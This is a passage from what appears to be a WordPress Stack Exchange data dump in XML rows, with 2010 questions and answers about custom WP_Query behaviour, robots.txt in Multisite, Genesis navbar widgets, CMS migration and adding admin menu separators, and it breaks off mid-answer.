  <row Id="2651" PostTypeId="2" ParentId="324" CreationDate="2010-10-06T15:26:56.167" Score="2" ViewCount="" Body="&lt;p&gt;I'm on Ubuntu 10.04:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vim (text editing)&lt;/li&gt;&#xA;&lt;li&gt;Firebug (CSS debugging)&lt;/li&gt;&#xA;&lt;li&gt;Gimp (image manipulation)&lt;/li&gt;&#xA;&lt;li&gt;Inkscape (vector art)&lt;/li&gt;&#xA;&lt;li&gt;Git (version control)&lt;/li&gt;&#xA;&lt;li&gt;Filezilla (FTP)&lt;/li&gt;&#xA;&lt;li&gt;Apache (local Wordpress install)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-06T15:26:56.167" CommunityOwnedDate="2010-10-06T15:26:56.167" />
  <row Id="2653" PostTypeId="1" AcceptedAnswerId="2654" CreationDate="2010-10-06T15:58:21.343" Score="1" ViewCount="102" Body="&lt;p&gt;I have created a custom WP_Query as seen below. The query works well except for when $favorites is empty. When $favorites is empty, the query still outputs posts, which I don´t want. It could seem like it defaults back to the standard WP_Query to output all published posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows what´s going on? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$favorites = wpfp_get_users_favorites($user = '');&#xA;$favorites_query = new WP_Query(array('post__in' =&amp;gt; $favorites));&#xA;&#xA;while ($favorites_query-&amp;gt;have_posts() ) : $favorites_query-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-10-06T16:05:01.893" Title="Custom WP_Query with no posts to output" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="2654" PostTypeId="2" ParentId="2653" CreationDate="2010-10-06T16:05:01.893" Score="2" ViewCount="" Body="&lt;p&gt;Empty argument here does not equal logical &lt;em&gt;in nothing&lt;/em&gt;. It equals no value to process and so WP ignores it and goes further as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wrap your query in &lt;code&gt;if( !empty( $favorites) )&lt;/code&gt; condition.  &lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T16:05:01.893" CommentCount="1" />
  <row Id="2655" PostTypeId="1" CreationDate="2010-10-06T16:15:20.987" Score="1" ViewCount="72" Body="&lt;p&gt;I have a page that has been working fine for a while now.&#xA;However I'm looking to replace it in the not to distant future. (testing conversions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though the correct process for this would be to create a draft of the new page ready to swap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once I'm ready to change. Unpublish the exisiting page. &#xA;Rename the URL/slug to something like/page1old&#xA;then publish the new page with the old pages slug/url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However somehow in attempting to set this up, something weird has happened and I'm getting a autoredirection occurring.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All links pointing to the old page are now redirecting to the draft page on my live site? I'm hovering over the links and the URL is right www.mysite.com/page1&#xA;however when I click on the link it redirects to www.mysite.com/page2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why has it autoredirected? &#xA;How is it possible to redirect to a draft page that has not be published? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very bizarre?&lt;/p&gt;&#xA;" LastActivityDate="2010-10-06T16:21:40.633" Title="Links to an exisiting Page are now redirecting to a draft page?" Tags="&lt;redirect&gt;" AnswerCount="1" />
  <row Id="2656" PostTypeId="2" ParentId="2655" CreationDate="2010-10-06T16:21:40.633" Score="1" ViewCount="" Body="&lt;p&gt;Looks to be Redirection plugin issue. Think it's been abandoned by its creator as it's messed up a few of my sites.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-06T16:21:40.633" CommentCount="3" />
  <row Id="2657" PostTypeId="1" CreationDate="2010-10-06T16:36:44.560" Score="2" ViewCount="256" Body="&lt;p&gt;Using the twitter plugin, so you can have your twitter posts loaded into the sidebar of your wordpress blog, is there any way of filtering the posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I will post technical stuff I'm interested in on twitter, I want that to show up on my blog, but I may also post non-related items, how can I filter these out so they dont show on the blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple answer would be to have two separate twitter accounts, but then I'd lose followers etc&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2010-10-08T19:38:07.190" Title="How to display custom twitter posts with the twitter plugin?" Tags="&lt;twitter&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="2658" PostTypeId="1" AcceptedAnswerId="2717" CreationDate="2010-10-06T16:38:20.503" Score="0" ViewCount="105" Body="&lt;p&gt;Is anyone aware of any way to show statistics on your WP blog to show android market place downloads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I create an application and host it on the android market place, it gets downloaded/installed 10 times. Is there any plugin I can use to display these figures/links etc on the sidebar in WP?&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2010-12-02T21:37:52.680" Title="Plugin for Android Marketplace downloads?" Tags="&lt;plugin-development&gt;&lt;plugins&gt;" AnswerCount="2" />
  <row Id="2659" PostTypeId="1" AcceptedAnswerId="2667" CreationDate="2010-10-06T16:38:51.613" Score="2" ViewCount="107" Body="&lt;p&gt;We're in the process of migrating a site from an existing CMS system into WordPress. The existing CMS system has no direct integration tools with WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking into the option of creating my own script/application that will migrate the content between the two systems. Would it be better to migrate directly into the database (inserting the rows myself) or to generate a WXR file (or multiple) and let the WordPress import module handle things for me?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2010-10-06T20:14:18.907" Title="Is a direct or import approach safer for migration into WordPress?" Tags="&lt;database&gt;&lt;import&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="2660" PostTypeId="2" ParentId="2659" CreationDate="2010-10-06T16:49:00.953" Score="1" ViewCount="" Body="&lt;p&gt;It depends ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all depends on your CMS, its data structure, what data is vital to your specific migration, and whether or not you intend to do this in the future.  If this is a custom CMS you're migrating from, chances are good that you won't need to do it twice ... and building your own WXR mapping system is overkill.  If you will potentially be migrating &lt;em&gt;several&lt;/em&gt; sites from this CMS, then a custom WXR map would be a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there are certain things you can't import to WordPress, even with a WXR file.  Things like user accounts, blogroll links, etc. aren't added automatically.  So if those are important to you, it might be easier in the long run to move data directly within the database.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-06T16:49:00.953" />
  <row Id="2661" PostTypeId="2" ParentId="2657" CreationDate="2010-10-06T17:24:23.953" Score="2" ViewCount="" Body="&lt;p&gt;Depending on the particular Twitter plugin you're using, you could filter based on the presence of a particular hash tag. &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tracker/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tracker&lt;/a&gt; appears to have the ability to do this when the search is of the form &lt;code&gt;#hashtag from:username&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-06T17:24:23.953" />
  <row Id="2662" PostTypeId="1" AcceptedAnswerId="2669" CreationDate="2010-10-06T17:53:16.797" Score="3" ViewCount="339" Body="&lt;p&gt;Google Webmaster Tools can see it, but I can't find it. Any idea on how it's generated or where it is the file structure? I don't see the file in my root. My website is at &lt;a href=&quot;http://mikewills.me&quot; rel=&quot;nofollow&quot;&gt;http://mikewills.me&lt;/a&gt; and the robots.txt file URL is &lt;a href=&quot;http://mikewills.me/robots.txt&quot; rel=&quot;nofollow&quot;&gt;http://mikewills.me/robots.txt&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, Google isn't indexing my site and I am trying to figure out how to edit the robots.txt so that indexing is allowed. I have changed the privacy option to allow indexing, but that hasn't updated the robots.txt.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditorDisplayName="" LastEditDate="2010-10-06T19:11:22.083" LastActivityDate="2011-04-02T16:58:29.723" Title="Where is the robots.txt stored for a WordPress Multisite install?" Tags="&lt;multisite&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="2664" PostTypeId="2" ParentId="2662" CreationDate="2010-10-06T19:18:21.037" Score="2" ViewCount="" Body="&lt;p&gt;robots.txt is dynamically created. There is no robots.txt file. Install a robot.txt plugin will solve your problem. Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="1167" LastActivityDate="2010-10-06T19:18:21.037" />
  <row Id="2665" PostTypeId="1" AcceptedAnswerId="2729" CreationDate="2010-10-06T19:26:13.770" Score="2" ViewCount="799" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;How can I create a widget area in the navigation bar (Genesis specific)?&quot;(&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a widget area in my navigation bar. I'm attempting to adapt this from Bill Erickson's excellent tutorial &lt;a href=&quot;http://dev.studiopress.com/add-content-navigation.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on adding static content to the navigation bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I've added to my functions.php file to register and place the widget area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    genesis_register_sidebar(array(&#xA;    'name'=&amp;gt;'Nav Right',&#xA;    'description' =&amp;gt; 'This is the right section of the navbar.',&#xA;    'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;', 'after_widget'  =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;    'before_title'=&amp;gt;'&amp;lt;h4 class=&quot;widgettitle&quot;&amp;gt;','after_title'=&amp;gt;'&amp;lt;/h4&amp;gt;'&#xA;));&#xA;&#xA;//Adding the widget area to the navbar&#xA;add_filter('genesis_nav_items','navbar_widget',10,1);&#xA;add_filter('wp_nav_menu_items','navbar_widget',10,1);&#xA;function navbar_widget() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;nav_right&quot;&amp;gt;&#xA;    &amp;lt;?php if (!dynamic_sidebar('Nav Right')) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php _e(&quot;Nav Right&quot;, 'genesis'); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php _e(&quot;This is a widgeted area which is called Nav Right.&quot;, 'genesis'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end .nav-right --&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, what I end up with is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/op4k3.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the widget area outside of the navigation bar (and the links removed from the navigation bar - there should be a Home and About link there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the html (when I view source of the page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;home blog logged-in content-sidebar&quot;&amp;gt; &#xA; &amp;lt;div id=&quot;wrap&quot;&amp;gt; &#xA;&amp;lt;div id=&quot;header&quot;&amp;gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&amp;lt;div id=&quot;title-area&quot;&amp;gt;&amp;lt;h1 id=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;http://travisnorthcutt.com/gateway/&quot; title=&quot;Research Valley International Gateway&quot;&amp;gt;Research Valley International Gateway&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;p id=&quot;description&quot;&amp;gt;Just another WordPress site&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- end #title-area --&amp;gt;&amp;lt;div class=&quot;widget-area&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- end .widget_area --&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- end .wrap --&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--end #header--&amp;gt; &#xA;   &amp;lt;div class=&quot;nav_right&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Nav Right&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;This is a widgeted area which is called Nav Right.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end .nav-right --&amp;gt;&#xA;  &amp;lt;div id=&quot;nav&quot;&amp;gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to get the new widget area that is created to be within &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-11T03:57:19.003" LastActivityDate="2010-11-11T03:57:19.003" Title="Create a Widget Area in the Navigation Bar for the Genesis Theme Framework?" Tags="&lt;widgets&gt;&lt;navigation&gt;&lt;genesis-theme-framework&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="2666" PostTypeId="1" AcceptedAnswerId="2674" CreationDate="2010-10-06T20:02:41.513" Score="4" ViewCount="1977" Body="&lt;p&gt;Does anyone know how to add an admin menu separator? I found this but it did not help. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lab.yukei.net/wp-code/nav.html?wp-admin/menu.php.source.html&quot; rel=&quot;nofollow&quot;&gt;http://lab.yukei.net/wp-code/nav.html?wp-admin/menu.php.source.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T12:45:09.887" LastActivityDate="2011-05-31T12:45:09.887" Title="Add a Separator to the Admin Menu?" Tags="&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="2667" PostTypeId="2" ParentId="2659" CreationDate="2010-10-06T20:14:18.907" Score="2" ViewCount="" Body="&lt;p&gt;If this is a standard CMS (not something you came up with yourself), I would say that a WXR solution is &lt;em&gt;the&lt;/em&gt; way to go. It might take some extra work, but it will be a good learning experience and a nice way to build up your Wordpress skills. The WXR route will be an automated solution that's reliable and repeatable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider doing this as an open source project, soliciting help from the community to get it done. The end result will be a useful tool from which others can utilize, improve, and extend. Open source contributions are always nice to list on the resume, too.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-06T20:14:18.907" />
  <row Id="2668" PostTypeId="2" ParentId="2612" CreationDate="2010-10-06T20:23:00.550" Score="0" ViewCount="" Body="&lt;p&gt;Rarst makes a good point about using an external service to avoid issues with hosting provider restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you have a less restrictive host (and you can check with tech support to see what the limits are for your account), the &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2 plugin&lt;/a&gt; should do what you're asking.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-10-06T20:23:00.550" CommentCount="1" />
  <row Id="2669" PostTypeId="2" ParentId="2662" CreationDate="2010-10-06T20:27:04.923" Score="7" ViewCount="" Body="&lt;p&gt;It's dynamically generated by the function &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/functions.php#L1779&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_robots()&lt;/code&gt;&lt;/a&gt;, which has both an action (&lt;code&gt;do_robotstxt&lt;/code&gt;) and a filter (&lt;code&gt;robots_txt&lt;/code&gt;). If you create a &lt;code&gt;robots.txt&lt;/code&gt; file in your WordPress root, it will (probably) be served up when &lt;code&gt;/robots.txt&lt;/code&gt; is requested, otherwise processing will fall back on WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your current file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow:&#xA;&#xA;Sitemap: http://mikewills.me/sitemaps/mikewills-me.xml.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first two settings are appropriate for an indexable blog. So, you may just be waiting for Google at this point. Maybe you need to &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;amp;answer=35843&quot; rel=&quot;nofollow&quot;&gt;request reconsideration of your site&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-06T20:27:04.923" CommentCount="2" />
  <row Id="2670" PostTypeId="2" ParentId="2666" CreationDate="2010-10-06T20:32:00.623" Score="0" ViewCount="" Body="&lt;p&gt;It's a little hard to determine what you're trying to do, but I think you're looking to add a top-level entry in the WordPress admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Adding_Administration_Menus#Top-Level_Menus&quot; rel=&quot;nofollow&quot;&gt;this documentation&lt;/a&gt; in the WordPress Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you're looking for usage of the &lt;code&gt;add_menu_page()&lt;/code&gt; function, which takes a number of arguments and displays an additional item in the administrative menu as a sibling of &quot;Dashboard&quot;, &quot;Posts&quot;, &quot;Media&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I got it right. :-)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-10-06T20:32:00.623" CommentCount="2" />
  <row Id="2671" PostTypeId="2" ParentId="1700" CreationDate="2010-10-06T20:34:23.473" Score="1" ViewCount="" Body="&lt;p&gt;&quot;RSS&quot; stands for &quot;resident set size,&quot; one way to measure the amount of memory used by a process in Linux. It does not refer to RSS feeds. This probably has very little to do with WordPress, and everything to do with the amount of RAM in your box and how much memory Apache is using. I would recommend looking for answers on Server Fault, ie. &lt;a href=&quot;http://serverfault.com/questions/61646/apache-hanging-with-maxclients-is-reached&quot;&gt;Apache hanging with MaxClients is reached&lt;/a&gt;. You may be trying to spawn more Apache children than memory allows.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-06T20:34:23.473" />
  <row Id="2672" PostTypeId="2" ParentId="324" CreationDate="2010-10-07T00:00:48.240" Score="2" ViewCount="" Body="&lt;p&gt;I run on Ubuntu (always the latest version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to keep things as simple as possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tools of choice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.geany.org/Download/Releases&quot; rel=&quot;nofollow&quot;&gt;Geany&lt;/a&gt; for writing code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filezilla for FTP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gimp for slicing and dicing designs prepared by my design team (who run Photoshop/Illustrator on Windows)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dropbox for sharing files between developers/designers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googletalk and skype for chat/voice comms between developers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A white board for planning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And testing in Chrome, Firefox on Linux and for Windows: Chrome, Firefox, Safari and &lt;a href=&quot;http://www.my-debugbar.com/wiki/IETester/HomePage&quot; rel=&quot;nofollow&quot;&gt;IETester&lt;/a&gt; (for IE) which I fire up on an ancient Windows XP PC I call my 'deadbox'&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-07T00:00:48.240" CommunityOwnedDate="2010-10-07T00:00:48.240" />
  <row Id="2673" PostTypeId="2" ParentId="324" CreationDate="2010-10-07T00:59:27.437" Score="3" ViewCount="" Body="&lt;p&gt;OSX:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coda &amp;amp; Espresso for PHP/CSS&lt;/li&gt;&#xA;&lt;li&gt;Netbeans IDE for CSS, XHTML, PHP editing etc.&lt;/li&gt;&#xA;&lt;li&gt;Firebug for debugging in FireFox&lt;/li&gt;&#xA;&lt;li&gt;Transmit for FTP&lt;/li&gt;&#xA;&lt;li&gt;Balsamic for wireframes&lt;/li&gt;&#xA;&lt;li&gt;Git for version control&lt;/li&gt;&#xA;&lt;li&gt;Photoshop for Comps&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Vmware Fusion for development machines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can download &quot;for free&quot; any LAMP, Python, Django etc prebuilt VM from &lt;a href=&quot;http://turnkeylinux.org&quot; rel=&quot;nofollow&quot;&gt;http://turnkeylinux.org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4545" LastActivityDate="2010-10-07T00:59:27.437" CommunityOwnedDate="2010-10-07T00:59:27.437" CommentCount="1" />
  <row Id="2674" PostTypeId="2" ParentId="2666" CreationDate="2010-10-07T02:00:18.993" Score="8" ViewCount="" Body="&lt;p&gt;Here's a quick and dirty way to get what you want.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress stores admin menu sections in a global array called &lt;code&gt;$menu&lt;/code&gt;. To add a separator you add an element to the &lt;code&gt;$menu&lt;/code&gt; array using an index that is between the indexes of the options that you want to separate. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using the &lt;code&gt;add_admin_menu_separator()&lt;/code&gt; function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So I've written a function to encapsulate the logic for this I called &lt;code&gt;add_admin_menu_separator()&lt;/code&gt;. You'll need to pick an array index number that is higher than the option &lt;em&gt;after which&lt;/em&gt; you want to add a separator, and then call the function &lt;code&gt;add_admin_menu_separator()&lt;/code&gt; passing said index as your parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_admin_menu_separator(37);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;The &lt;code&gt;add_admin_menu_separator()&lt;/code&gt; function itself&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's the definition of the function &lt;code&gt;add_admin_menu_separator()&lt;/code&gt; which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file. Yes it is arcane but then so is the code that creates and uses the global &lt;code&gt;$menu&lt;/code&gt; array. &lt;em&gt;(Plans are to eventually deprecate it, thankfully, but that'll probably be a few years.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_menu_separator($position) {&#xA;  global $menu;&#xA;  $index = 0;&#xA;  foreach($menu as $offset =&amp;gt; $section) {&#xA;    if (substr($section[2],0,9)=='separator')&#xA;      $index++;&#xA;    if ($offset&amp;gt;=$position) {&#xA;      $menu[$position] = array('','read',&quot;separator{$index}&quot;,'','wp-menu-separator');&#xA;      break;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Finding the index into &lt;code&gt;$menu&lt;/code&gt; that you need&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To figure out what index number you need you can do a &lt;code&gt;var_dump()&lt;/code&gt; of &lt;code&gt;$GLOBALS['menu']&lt;/code&gt; from within an &lt;code&gt;admin_init&lt;/code&gt; hook. Here's a bit of code you can drop into your theme's &lt;code&gt;functions.php&lt;/code&gt; file temporarily to see what the values are. This will only work when requesting a URL starting with &lt;code&gt;/wp-admin/&lt;/code&gt; &lt;em&gt;(but be sure to do with with FTP and not the built in theme editor or you'll loose access to your site, at least until you get FTP access to your theme's &lt;code&gt;functions.php&lt;/code&gt; file!)&lt;/em&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','dump_admin_menu');&#xA;function dump_admin_menu() {&#xA;  if (is_admin()) {&#xA;    header('Content-Type:text/plain');&#xA;    var_dump($GLOBALS['menu']);&#xA;    exit;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;See Also:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;BTW, you might find these links useful in general for working with admin menus: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1216/changing-the-order-of-admin-menu-sections/1222#1222&quot;&gt;&lt;strong&gt;Changing the Order of Admin Menu Sections&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Latest: &lt;code&gt;wp-admin-menu-classes.php&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although my admin menu classes don't currently offer an easy way to add separators I think I'll now add that when I have time.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-07T02:00:18.993" CommentCount="2" />
  <row Id="2675" PostTypeId="2" ParentId="2540" CreationDate="2010-10-07T03:21:51.597" Score="3" ViewCount="" Body="&lt;p&gt;There is a plugin for this, &lt;a href=&quot;http://wordpress.org/extend/plugins/rss-icon-widget/&quot; rel=&quot;nofollow&quot;&gt;RSS Icon Widget&lt;/a&gt;. However it looks like it hasn't been tested on any version past 2.8. It looks fairly simple, so it could still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise the easiest way to accomplish this is to just create a new text widget and write the HTML to display any icon you'd like and link it to your feed. A plugin may even be overkill for this. I believe this is normally something that is built into your theme.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2010-10-07T03:21:51.597" />
  <row Id="2676" PostTypeId="1" AcceptedAnswerId="2689" CreationDate="2010-10-07T09:39:15.500" Score="0" ViewCount="135" Body="&lt;p&gt;I'm looking for a plugin which will allow me to count how many times a file has been downloaded. I don't need neither a fancy download page nor showing the download count on the page itself, I want it just for me. I'm aware that GA can track them but if the user right-click the link it might not detect it. &lt;/p&gt;&#xA;" OwnerUserId="1133" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-07T13:31:07.423" LastActivityDate="2010-10-07T13:55:38.553" Title="Plugin to count file download" Tags="&lt;plugin-recommendation&gt;&lt;stats&gt;" AnswerCount="2" />
  <row Id="2677" PostTypeId="2" ParentId="2649" CreationDate="2010-10-07T09:44:49.143" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@George&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how many musicians you expect to have in your database you could either go the full API route &lt;em&gt;(which is generally preferred, whenever it is vialable)&lt;/em&gt; if you are going to have a large number of them (thousands?) you could go with some custom SQL to pull exactly the records you need.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using the WordPress API approach&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The basics of the WordPress API approach are to first call &lt;code&gt;wp_get_object_terms()&lt;/code&gt; with  &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; of your profile musician and your &lt;code&gt;'locations'&lt;/code&gt; taxonomy which will return a list of &lt;em&gt;&quot;term&quot;&lt;/em&gt; objects. &lt;em&gt;(Unfortunately you need it to be only one location or this solution falls apart. But ignoring that...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you grab the term ID of the first term and pass it plus your &lt;code&gt;'locations'&lt;/code&gt; taxonomy to &lt;code&gt;get_objects_in_term()&lt;/code&gt; which returns an array of post IDs that have the terms associated for the desired taxonomy. &lt;em&gt;(Note this will include &lt;strong&gt;ALL&lt;/strong&gt; posts that have &lt;strong&gt;ANY&lt;/strong&gt; term associated from your &lt;code&gt;'locations'&lt;/code&gt; taxonomy, which is why this approach is only good for a smaller number of records.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you create a &lt;code&gt;WP_Query&lt;/code&gt; object passing it a query that uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;post__in&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; to filter by the list of musician IDs you received above as well as by your &lt;code&gt;'locations'&lt;/code&gt; taxonomy and its specific city term captured for your profiled musician. Of course you must also remember to filter out the profiled musician using the &lt;code&gt;'post__not_in'&lt;/code&gt; 